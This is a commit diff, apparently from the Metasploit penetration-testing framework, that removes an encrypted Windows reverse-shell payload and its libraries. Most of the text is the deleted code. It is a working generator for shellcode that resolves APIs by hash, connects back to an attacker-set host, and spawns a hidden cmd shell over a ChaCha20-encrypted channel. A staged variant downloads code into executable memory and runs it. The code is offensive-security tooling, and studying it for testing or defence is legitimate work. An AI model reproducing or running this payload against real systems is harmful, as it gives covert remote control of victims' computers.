Remove the encrypted shell payload and libs

This commit is contained in:
Spencer McIntyre
2026-04-15 12:43:29 -04:00
parent e2dff5cc50
commit 91633fdad7
18 changed files with 0 additions and 1143 deletions
@@ -1,48 +0,0 @@
/*
* This code is provided under the 3-clause BSD license below.
* ***********************************************************
*
* Copyright (c) 2013, Matthew Graeber
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
*
* Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
* The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
; Author: Matthew Graeber (@mattifestation)
; License: BSD 3-Clause
; Syntax: MASM
; Build Syntax: ml64 /c /Cx AdjustStack.asm
; Output: AdjustStack.obj
; Notes: I really wanted to avoid having this external dependency but I couldnt
; come up with any other way to guarantee 16-byte stack alignment in 64-bit
; shellcode written in C.
extern ExecutePayload
global AlignRSP ; Marking AlignRSP as PUBLIC allows for the function
; to be called as an extern in our C code.
segment .text
; AlignRSP is a simple call stub that ensures that the stack is 16-byte aligned prior
; to calling the entry point of the payload. This is necessary because 64-bit functions
; in Windows assume that they were called with 16-byte stack alignment. When amd64
; shellcode is executed, you cant be assured that you stack is 16-byte aligned. For example,
; if your shellcode lands with 8-byte stack alignment, any call to a Win32 function will likely
; crash upon calling any ASM instruction that utilizes XMM registers (which require 16-byte)
; alignment.
AlignRSP:
push rsi ; Preserve RSI since were stomping on it
mov rsi, rsp ; Save the value of RSP so it can be restored
and rsp, 0FFFFFFFFFFFFFFF0h ; Align RSP to 16 bytes
sub rsp, 020h ; Allocate homing space for ExecutePayload
call ExecutePayload ; Call the entry point of the payload
mov rsp, rsi ; Restore the original value of RSP
pop rsi ; Restore RSI
ret ; Return to caller
@@ -1,9 +0,0 @@
ENTRY(_ExecutePayload)
SECTIONS
{
.text :
{
*(.text.ExecutePayload)
}
}
@@ -1,11 +0,0 @@
ENTRY(AlignRSP)
SECTIONS
{
.text :
{
*(.text.AlignRSP)
*(.text.ExecutePayload)
*(.text.GetProcAddressWithHash)
}
}
@@ -7,7 +7,6 @@ module Metasploit
MINGW_X64 = 'x86_64-w64-mingw32-gcc'
INCLUDE_DIR = File.join(Msf::Config.data_directory, 'headers', 'windows', 'c_payload_util')
UTILITY_DIR = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload')
OPTIMIZATION_FLAGS = [ 'Os', 'O0', 'O1', 'O2', 'O3', 'Og' ]
def compile_c(src)
-7
View File
@@ -132,13 +132,6 @@ Shell Banner:
# Only populate +session.info+ with a captured banner if the shell is responsive and verified
session.info = session_info if session.info.blank?
session
else
# Encrypted shells need all information read before anything is written, so we read in the banner here. However we
# don't populate session.info with the captured value since without AutoVerify there's no way to be certain this
# actually is a banner and not junk/malicious input
if session.class == ::Msf::Sessions::EncryptedShell
shell_read(-1, 0.1)
end
end
end
-113
View File
@@ -1,113 +0,0 @@
# -*- coding: binary -*-
require 'securerandom'
module Msf
module Sessions
class EncryptedShell < Msf::Sessions::CommandShell
include Msf::Session::Basic
include Msf::Session::Provider::SingleCommandShell
include Msf::Payload::Windows::PayloadDBConf
attr_accessor :arch
attr_accessor :platform
attr_accessor :iv
attr_accessor :key
attr_accessor :staged
attr_accessor :chacha_cipher
# define some sort of method that checks for
# the existence of payload in the db before
# using datastore
def initialize(rstream, opts={})
self.arch ||= ""
self.platform = "windows"
@staged = opts[:datastore][:staged]
super
end
def type
"Encrypted"
end
def desc
"Encrypted reverse shell"
end
def self.type
self.class.type = "Encrypted"
end
def bootstrap(datastore = {}, handler = nil)
@key = datastore[:key] || datastore['ChachaKey']
nonce = datastore[:nonce] || datastore['ChachaNonce']
@iv = nonce
# staged payloads retrieve UUID via
# handle_connection() in stager.rb
unless @staged
curr_uuid = rstream.get_once(16, 1)
@key, @nonce = retrieve_chacha_creds(curr_uuid)
@iv = @nonce ? @nonce : "\0" * 12
unless @key && @nonce
print_status('Failed to retrieve key/nonce for uuid. Resorting to datastore')
@key = datastore['ChachaKey']
@iv = datastore['ChachaNonce']
end
end
new_nonce = SecureRandom.hex(6)
new_key = SecureRandom.hex(16)
@chacha_cipher = Rex::Crypto::Chacha20.new(@key, @iv)
new_cipher = @chacha_cipher.chacha20_crypt(new_nonce + new_key)
rstream.write(new_cipher)
@key = new_key
@iv = new_nonce
@chacha_cipher.reset_cipher(@key, @iv)
super(datastore, handler)
end
##
# Overridden from Msf::Sessions::CommandShell#shell_read
#
# Read encrypted data from console and decrypt it
#
def shell_read(length=-1, timeout=1)
rv = rstream.get_once(length, timeout)
# Needed to avoid crashing the +chacha20_crypt+ method
return nil unless rv
decrypted = @chacha_cipher.chacha20_crypt(rv)
framework.events.on_session_output(self, decrypted) if decrypted
return decrypted
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
shell_close
raise e
end
##
# Overridden from Msf::Sessions::CommandShell#shell_write
#
# Encrypt data then write it to the console
#
def shell_write(buf)
return unless buf
framework.events.on_session_command(self, buf.strip)
encrypted = @chacha_cipher.chacha20_crypt(buf)
rstream.write(encrypted)
rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e
shell_close
raise e
end
end
end
end
@@ -1,30 +0,0 @@
require 'securerandom'
module Msf
module Payload::Windows::EncryptedPayloadOpts
include Msf::Payload::UUID::Options
LINK_SCRIPT_PATH = File.join(Msf::Config.data_directory, 'utilities', 'encrypted_payload')
def initialize(info={})
super
register_options(
[
OptBool.new('CallWSAStartup', [ false, 'Adds the function that initializes the Winsock library', true ]),
OptString.new('ChachaKey', [ false, 'The initial key to encrypt payload traffic with', SecureRandom.hex(16) ]),
OptString.new('ChachaNonce', [ false, 'The initial nonce to use to encrypt payload traffic with', SecureRandom.hex(6) ])
], self.class)
register_advanced_options(
[
OptBool.new('StripSymbols', [ false, 'Payload will be compiled without symbols', true ]),
OptBool.new('ShowCompileCMD', [ false, 'Display the command used to compile payload', false ]),
OptEnum.new('OptLevel', [ false, 'The optimization level to compile with', 'O2', [ 'Og', 'Os', 'O0', 'O1', 'O2', 'O3' ] ]),
OptBool.new('KeepSrc', [ false, 'Keep source code after compiling it', false ]),
OptBool.new('KeepExe', [ false, 'Keep executable after compiling the payload', false ]),
OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', true ])
], self.class)
end
end
end
@@ -1,621 +0,0 @@
# -*- coding: binary -*-
require 'rex/peparsey'
require 'metasploit/framework/compiler/mingw'
module Msf
###
#
# encrypted reverse tcp payload for Windows
#
###
module Payload::Windows::EncryptedReverseTcp
include Msf::Payload::UUID::Options
include Msf::Payload::Windows
include Msf::Payload::Windows::EncryptedPayloadOpts
include Msf::Payload::Windows::PayloadDBConf
def initialize(*args)
super
# prevents checks running when module is initialized during msfconsole startup
if framework
unless framework.db.active
add_warning('A database connection is preferred for this module. If this is not possible, please make sure to '\
'take note of the ChachaKey & ChachaNonce options used during generation in order to set them correctly when '\
'calling a module handler.')
end
if self.arch.nil? || self.arch.empty?
add_warning('Payload architecture could not be determined.')
return
end
if self.arch.include?('x86') && !::Metasploit::Framework::Compiler::Mingw::X86.available?
add_error("x86 Mingw installation is not available.")
end
if self.arch.include?('x64') && !::Metasploit::Framework::Compiler::Mingw::X64.available?
add_error("x64 Mingw installation is not available.")
end
end
end
def generate(opts={})
opts[:uuid] ||= generate_payload_uuid.puid_hex
iv = datastore['ChachaNonce']
conf =
{
call_wsastartup: datastore['CallWSAStartup'],
port: format_ds_opt(datastore['LPORT']),
host: format_ds_opt(datastore['LHOST']),
key: datastore['ChachaKey'],
nonce: datastore['ChachaNonce'],
iv: iv,
uuid: opts[:uuid],
staged: staged?
}
src = ''
if staged?
src = generate_stager(conf, opts)
else
src = generate_c_src(conf, opts)
end
link_script = module_info['DefaultOptions']['LinkerScript']
compile_opts =
{
strip_symbols: datastore['StripSymbols'],
linker_script: link_script,
opt_lvl: datastore['OptLevel'],
keep_src: datastore['KeepSrc'],
keep_exe: datastore['KeepExe'],
show_compile_cmd: datastore['ShowCompileCMD'],
f_name: Tempfile.new(staged? ? 'reverse_pic_stager' : 'reverse_pic_stageless').path,
arch: opts.fetch(:arch, self.arch_to_s)
}
comp_code = get_compiled_shellcode(src, compile_opts)
chacha_conf =
{
'uuid' => conf[:uuid],
'key' => conf[:key],
'nonce' => conf[:nonce]
}
save_conf_to_db(chacha_conf)
comp_code
end
def initial_code(conf, opts = {})
src = headers
src << align_rsp if opts.fetch(:arch, self.arch_to_s).eql?('x64')
if staged?
src << chacha_func_staged
else
src << chacha_func
end
src << exit_proc
end
def generate_stager(conf, opts = {})
src = initial_code(conf, opts)
if conf[:call_wsastartup]
src << init_winsock
end
src << comm_setup
src << get_load_library(conf[:host], conf[:port])
src << call_init_winsock if conf[:call_wsastartup]
src << start_comm(conf[:uuid])
src << stager_comm(conf, opts)
end
def sends_hex_uuid?
true
end
def include_send_uuid
true
end
def generate_stage(opts={})
conf = opts[:datastore] || datastore
conf[:staged] = true
stage_uuid = opts[:uuid] || uuid
key, nonce = retrieve_chacha_creds(stage_uuid)
unless key && nonce
print_status('No existing key/nonce in db. Resorting to datastore options.')
key = conf['ChachaKey']
nonce = conf['ChachaNonce']
end
iv = nonce
link_script = module_info['DefaultOptions']['LinkerScript']
comp_opts =
{
strip_symbols: false,
linker_script: link_script,
keep_src: datastore['KeepSrc'],
keep_exe: datastore['KeepExe'],
show_compile_cmd: datastore['ShowCompileCMD'],
f_name: Tempfile.new('reverse_pic_stage').path,
arch: opts.fetch(:arch, self.arch_to_s)
}
src = initial_code(conf, opts)
src << get_new_key
src << init_proc
src << exec_payload_stage(conf, opts)
shellcode = get_compiled_shellcode(src, comp_opts)
stage_obj = Rex::Crypto::Chacha20.new(key, iv)
stage_obj.chacha20_crypt(shellcode)
end
def generate_c_src(conf, opts = {})
src = initial_code(conf, opts)
if conf[:call_wsastartup]
src << init_winsock
end
src << comm_setup
src << get_new_key
src << init_proc
src << get_load_library(conf[:host], conf[:port])
src << call_init_winsock if conf[:call_wsastartup]
src << start_comm(conf[:uuid])
src << single_comm
end
def get_hash(lib, func)
Rex::Text.block_api_hash(lib, func)
end
def get_compiled_shellcode(src, opts={})
comp_obj = nil
case opts[:arch]
when 'x86'
comp_obj = Metasploit::Framework::Compiler::Mingw::X86.new(opts)
when 'x64'
comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts)
end
compiler_out = comp_obj.compile_c(src)
unless compiler_out.empty?
elog(compiler_out)
raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError.new('Payload did not compile. Check the logs for further information.')
end
comp_file = "#{opts[:f_name]}.exe"
raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file)
bin = File.binread(comp_file).strip
bin = Rex::PeParsey::Pe.new(Rex::ImageSource::Memory.new(bin))
text_section = bin.sections.first
text_section = text_section._isource
comp_obj.cleanup_files
text_section.rawdata
end
#
# Options such as the LHOST and PORT
# need to become a null-terminated array
# to ensure they exist in the .text section.
#
def format_ds_opt(opt)
modified = ''
opt = opt.to_s
opt.split('').each { |elem| modified << "\'#{elem}\', " }
modified = "#{modified}0"
end
def headers
%Q^
#include "winsock_util.h"
#include "payload_util.h"
#include "kernel32_util.h"
#include "chacha.h"
^
end
def align_rsp
%Q^
void AlignRSP()
{
asm("push %rsi \\t\\n\\
mov %rsp, %rsi \\t\\n\\
and $0x0FFFFFFFFFFFFFFF0, %rsp \\t\\n\\
sub $0x020, %rsp \\t\\n\\
call ExecutePayload \\t\\n\\
mov %rsi, %rsp \\t\\n\\
pop %rsi \\t\\n\\
ret");
}
^
end
def chacha_func_staged
%Q^
char *chacha_data(char *buf, int len, chacha_ctx *ctx)
{
chacha_encrypt_bytes(ctx, buf, buf, len);
buf[len] = '\\0';
return buf;
}
^
end
def chacha_func
%Q^
char *chacha_data(char *buf, int len, chacha_ctx *ctx)
{
FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
char *out = VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_READWRITE);
chacha_encrypt_bytes(ctx, buf, out, len);
out[len] = '\\0';
return out;
}
^
end
def exit_proc
%Q^
UINT ExitProc()
{
DWORD term_status;
FuncGetCurrentProcess GetCurrentProcess = (FuncGetCurrentProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetCurrentProcess')}); // hash('kernel32.dll', 'GetCurrentProcess') -> 0x51e2f352
FuncGetExitCodeProcess GetExitCodeProcess = (FuncGetExitCodeProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GetExitCodeProcess')}); // hash('kernel32.dll', 'GetExitCodeProcess' -> 0xee54785f
HANDLE curr_proc_handle = GetCurrentProcess();
GetExitCodeProcess(curr_proc_handle, &term_status);
return term_status;
}
^
end
def init_winsock
%Q^
void init_winsock()
{
WSADATA wsadata;
FuncWSAStartup WSAInit;
UINT term_proc_status = ExitProc();
FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
WSAInit = (FuncWSAStartup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSAStartup')}); // hash('ws2_32.dll', 'WSAStartup') -> 0x006B8029
if(WSAInit(MAKEWORD(2, 2), &wsadata))
{
ExitProcess(term_proc_status);
}
}
^
end
def comm_setup
%Q^
struct addrinfo *conn_info_setup(char *i, char *p)
{
UINT term_proc_stat = ExitProc();
struct addrinfo hints, *results = NULL, *first = NULL;
FuncGetAddrInfo GetAddrInf = (FuncGetAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'getaddrinfo')}); // hash('ws2_32.dll', 'getaddrinfo') -> 0x14f1f695
FuncFreeAddrInfo FreeAddrInf = (FuncFreeAddrInfo) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'freeaddrinfo')}); // hash('ws2_32.dll', 'freeaddrinfo') -> 0x150784f5
FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
SecureZeroMemory(&hints, sizeof(hints));
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
hints.ai_protocol = IPPROTO_TCP;
if(GetAddrInf(i, p, &hints, &results))
{
ExitProcess(term_proc_stat);
}
first = results;
if(first == NULL)
{
FreeAddrInf(results);
ExitProcess(term_proc_stat);
}
return first;
}
^
end
def get_new_key
%Q^
char *get_new_key(SOCKET s)
{
FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll',
FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')});
char *received = VirtualAlloc(NULL, 45, MEM_COMMIT, PAGE_READWRITE);
int recv_num = RecvData(s, received, 44, 0);
received[44] = '\\0';
return received;
}
^
end
def init_proc
%Q^
HANDLE* init_process(SOCKET s)
{
char cmd[] = { 'c', 'm', 'd', 0 };
STARTUPINFO si;
SECURITY_ATTRIBUTES sa;
PROCESS_INFORMATION pi;
UINT proc_stat = ExitProc();
HANDLE out_rd, out_wr, in_rd, in_wr;
FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
SecureZeroMemory(&si, sizeof(si));
SecureZeroMemory(&sa, sizeof(sa));
SecureZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
sa.nLength = sizeof(sa);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
FuncCreatePipe CreatePipe = (FuncCreatePipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreatePipe')}); // hash('kernel32.dll', 'CreatePipe') -> 0xeafcf3e
CreatePipe(&out_rd, &out_wr, &sa, 0);
CreatePipe(&in_rd, &in_wr, &sa, 0);
FuncSetHandleInformation SetHandleInformation = (FuncSetHandleInformation) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'SetHandleInformation')}); // hash('kernel32.dll', 'SetHandleInformation') -> 0x1cd313ca
SetHandleInformation(out_rd, HANDLE_FLAG_INHERIT, 0);
SetHandleInformation(in_wr, HANDLE_FLAG_INHERIT, 0);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdError = si.hStdOutput = out_wr;
si.hStdInput = in_rd;
FuncCreateProcess CreateProcess = (FuncCreateProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CreateProcessA')}); // hash('kernel32.dll', 'CreateProcess') -> 0x863fcc79
if(!CreateProcess(NULL, cmd, &sa, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{
ExitProcess(proc_stat);
}
FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
FuncGlobalAlloc GlobalAlloc = (FuncGlobalAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'GlobalAlloc')}); // hash('kernel32.dll', 'GlobalAlloc') -> 0x520f76f6
HANDLE *handle_arr = GlobalAlloc(GMEM_FIXED, sizeof(HANDLE) * 2);
handle_arr[0] = out_rd;
handle_arr[1] = in_wr;
return handle_arr;
}
void communicate(HANDLE out, HANDLE in, SOCKET s)
{
DWORD data = 0;
char buf[512];
int buf_size = 512;
int new_key = 0;
DWORD bytes_received = 0;
FuncSleep Sleep = (FuncSleep) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'Sleep')}); // hash('kernel32.dll', 'Sleep') -> 0xe035f044
FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
FuncReadFile ReadFile = (FuncReadFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ReadFile')}); // hash('kernel32.dll', 'ReadFile') -> 0xbb5f9ead
FuncWriteFile WriteFile = (FuncWriteFile) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'WriteFile')}); // hash('kernel32.dll', 'WriteFile') -> 0x5bae572d
FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
FuncPeekNamedPipe PeekNamedPipe = (FuncPeekNamedPipe) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'PeekNamedPipe')}); // hash('kernel32.dll', 'PeekNamedPipe') -> 0xb33cb718
FuncVirtualFree VirtualFree = (FuncVirtualFree) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualFree')}); // hash('kernel32.dll', 'VirtualFree') -> 0x300f2f0b
SecureZeroMemory(buf, buf_size);
UINT term_stat = ExitProc();
char init_key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
char init_nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };
char *key = init_key;
char *nonce = init_nonce;
chacha_ctx ctx;
chacha_keysetup(&ctx, key, 256, 96);
chacha_ivsetup(&ctx, nonce);
do
{
if(new_key == 0)
{
char *stream = get_new_key(s);
if(stream == NULL)
{
ExitProcess(term_stat);
}
char *res = chacha_data(stream, 44, &ctx);
key = res + 12;
nonce = res;
new_key = 1;
chacha_keysetup(&ctx, key, 256, 96);
chacha_ivsetup(&ctx, nonce);
}
if(PeekNamedPipe(out, NULL, 0, NULL, &data, NULL) && data > 0)
{
if(!ReadFile(out, buf, buf_size-1, &bytes_received, NULL))
{
ExitProcess(term_stat);
}
char *cmd = chacha_data(buf, bytes_received, &ctx);
SendData(s, cmd, bytes_received, 0);
SecureZeroMemory(buf, buf_size);
VirtualFree(cmd, bytes_received+1, MEM_RELEASE);
}
else
{
DWORD bytes_written = 0;
bytes_received = RecvData(s, buf, buf_size-1, 0);
if(bytes_received > 0)
{
char *dec_cmd = chacha_data(buf, bytes_received, &ctx);
WriteFile(in, dec_cmd, bytes_received, &bytes_written, NULL);
SecureZeroMemory(buf, buf_size);
VirtualFree(dec_cmd, bytes_received+1, MEM_RELEASE);
}
}
Sleep(100);
} while(bytes_received > 0);
}
^
end
#
# ExecutePayload acts as the main function of the c program
#
def get_load_library(host, port)
%Q^
void ExecutePayload(VOID)
{
FuncLoadLibraryA LoadALibrary;
FuncWSASocketA WSASock;
FuncWSACleanup WSACleanup;
FuncConnect ConnectSock;
UINT proc_term_status = ExitProc();
SOCKET conn_socket = INVALID_SOCKET;
FuncExitProcess ExitProcess = (FuncExitProcess) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'ExitProcess')}); // hash('kernel32.dll', 'ExitProcess') -> 0x56a2b5f0
FuncCloseHandle CloseHandle = (FuncCloseHandle) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'CloseHandle')}); // hash('kernel32.dll', 'CloseHandle') -> 0x528796c6
char ip[] = { #{host} };
char port[] = { #{port} };
char ws2[] = { 'w', 's', '2', '_', '3', '2', '.', 'd', 'l', 'l', 0 };
LoadALibrary = (FuncLoadLibraryA) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'LoadLibraryA')}); // hash('kernel32.dll', 'LoadLibrary') -> 0x0726774C
LoadALibrary((LPTSTR) ws2);
^
end
def call_init_winsock
%Q^
init_winsock();
^
end
def start_comm(uuid)
%Q^
struct addrinfo *info = NULL;
info = conn_info_setup(ip, port);
FuncSend SendData = (FuncSend) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'send')}); // hash('ws2_32.dll', 'send') -> 0x5f38ebc2
WSASock = (FuncWSASocketA) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSASocketA')}); // hash('ws2_32.dll', 'WSASocketA') -> 0xe0df0fea
conn_socket = WSASock(info->ai_family, info->ai_socktype, info->ai_protocol, NULL, 0, 0);
if(conn_socket == INVALID_SOCKET)
{
ExitProcess(proc_term_status);
}
ConnectSock = (FuncConnect) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'connect')}); // hash('ws2_32.dll', 'connect') -> 0x6174a599
if(ConnectSock(conn_socket, info->ai_addr, info->ai_addrlen) == SOCKET_ERROR)
{
ExitProcess(proc_term_status);
}
char uuid[] = { #{format_ds_opt(uuid)} };
SendData(conn_socket, uuid, 16, 0);
^
end
def single_comm
%Q^
HANDLE *comm_handles = init_process(conn_socket);
communicate(*(comm_handles), *(comm_handles+1), conn_socket);
CloseHandle(*comm_handles);
CloseHandle(*(comm_handles + 1));
WSACleanup = (FuncWSACleanup) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'WSACleanup')}); // hash('ws2_32.dll', 'WSACleanup') -> 0xf44a6e2b
}
^
end
def stager_comm(conf, opts = {})
arch = opts.fetch(:arch, self.arch_to_s)
reg = arch.eql?('x86') ? 'edi' : 'rdi'
inst = arch.eql?('x86') ? 'movl' : 'movq'
%Q^
FuncRecv RecvData = (FuncRecv) GetProcAddressWithHash(#{get_hash('ws2_32.dll', 'recv')}); // hash('ws2_32.dll', 'recv') -> 0x5fc8d902
unsigned int stage_size;
int recvd = RecvData(conn_socket, (char *) &stage_size, 4, 0);
if(recvd != 4)
{
ExitProcess(proc_term_status);
}
FuncVirtualAlloc VirtualAlloc = (FuncVirtualAlloc) GetProcAddressWithHash(#{get_hash('kernel32.dll', 'VirtualAlloc')}); // hash('kernel32.dll', 'VirtualAlloc') -> 0xe553a458
register char *received = VirtualAlloc(NULL, stage_size + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
int recv_stg = RecvData(conn_socket, received, stage_size, MSG_WAITALL);
if(recv_stg != stage_size)
{
ExitProcess(proc_term_status);
}
char key[] = { #{format_ds_opt(datastore['ChachaKey'])} };
char nonce[] = { #{format_ds_opt(datastore['ChachaNonce'])} };
chacha_ctx dec_ctx;
chacha_keysetup(&dec_ctx, key, 256, 96);
chacha_ivsetup(&dec_ctx, nonce);
chacha_data(received, stage_size + 1, &dec_ctx);
// hand the socket to the stage
asm("#{inst} %0, %%#{reg}"
:
: "r" (conn_socket)
: "%#{reg}"
);
// call the stage
void (*func)() = (void(*)())received;
func();
}
^
end
def exec_payload_stage(conf, opts = {})
arch = opts.fetch(:arch, self.arch_to_s)
reg = arch.eql?('x86') ? 'edi' : 'rdi'
inst = arch.eql?('x86') ? 'movl' : 'movq'
%Q^
void ExecutePayload()
{
SOCKET conn_socket = INVALID_SOCKET;
asm("#{inst} %%#{reg}, %0"
:
:"m"(conn_socket)
);
HANDLE *comm_handles = init_process(conn_socket);
communicate(*(comm_handles), *(comm_handles+1), conn_socket);
}
^
end
end
end
@@ -1,62 +0,0 @@
# -*- coding: binary -*-
module Msf::Payload::Windows::PayloadDBConf
def initialize(*args)
super
end
#
# Saves a payload configuration to the db
#
# @param conf [Hash]
# accepts a uuid, which will be used as
# the payload identifier. Additional
# hash values will be saved within `build_opts`
def save_conf_to_db(conf={})
return nil unless (framework.db && framework.db.active)
return nil unless conf['uuid']
payload_uuid = conf['uuid']
conf.delete('uuid')
saved_payload = framework.db.payloads(uuid: payload_uuid).first
if saved_payload
framework.db.update_payload(id: saved_payload.id, build_opts: conf)
else
print_status('Payload does not exist in database. Attempting to save it now.')
framework.db.create_payload(uuid: payload_uuid, build_opts: conf)
end
rescue
print_error('Failed to save payload info to database')
end
# Retrieve payload configuration from db
#
# @param uuid [String]
# accepts the payload uuid and
# a hash of the payload information will
# be returned
def retrieve_conf_from_db(uuid=nil)
return nil unless (framework.db && framework.db.active)
curr_payload = framework.db.payloads(uuid: uuid).first
return nil unless curr_payload && curr_payload[:build_opts]
return curr_payload[:build_opts]
end
#
# @param uuid [String]
# retrieves the key and nonce for
# payloads using the chacha cipher
# from the database
def retrieve_chacha_creds(uuid=nil)
return nil unless uuid
build_opts = retrieve_conf_from_db(uuid)
return nil unless build_opts && build_opts['key'] && build_opts['nonce']
return build_opts['key'], build_opts['nonce']
end
end
-7
View File
@@ -412,13 +412,6 @@ module Msf
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
gen_payload = raw_payload
else
if payload_module.is_a?(Msf::Payload::Windows::PayloadDBConf)
payload_module.datastore.import_options_from_hash(datastore)
ds_opt = payload_module.datastore
cli_print("[!] Database is not active! Payload key and nonce must be manually set when creating handler") unless framework.db.active
cli_print("[-] Please ensure payload key and nonce match when setting up handler: #{ds_opt['ChachaKey']} - #{ds_opt['ChachaNonce']}")
end
raw_payload = generate_raw_payload
raw_payload = add_shellcode(raw_payload)
-1
View File
@@ -171,7 +171,6 @@ class MsfAutoload
'reflective_dll_injection' => 'ReflectiveDLLInjection',
'reflective_pe_loader' => 'ReflectivePELoader',
'pe_inject' => 'PEInject',
'payload_db_conf' => 'PayloadDBConf',
'reverse_tcp_x86' => 'ReverseTcp_x86',
'reverse_tcp_aarch64' => 'ReverseTcp_Aarch64',
'ruby_dl' => 'RubyDL',
@@ -1,35 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 4864
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
include Msf::Payload::Windows::EncryptedReverseTcp
include Msf::Payload::Windows::EncryptedPayloadOpts
def initialize(info = {})
super(
merge_info(
info,
'Name' => 'Windows Encrypted Reverse Shell',
'Description' => 'Connect back to attacker and spawn an encrypted command shell',
'Author' => [
'Matt Graeber',
'Shelby Pace'
],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::EncryptedShell,
'DefaultOptions' => { 'LinkerScript' => "#{LINK_SCRIPT_PATH}/func_order.ld" },
'Dependencies' => [ Metasploit::Framework::Compiler::Mingw::X86 ]
)
)
end
end
@@ -1,35 +0,0 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
module MetasploitModule
CachedSize = 4608
include Msf::Payload::Windows
include Msf::Payload::Single
include Msf::Sessions::CommandShellOptions
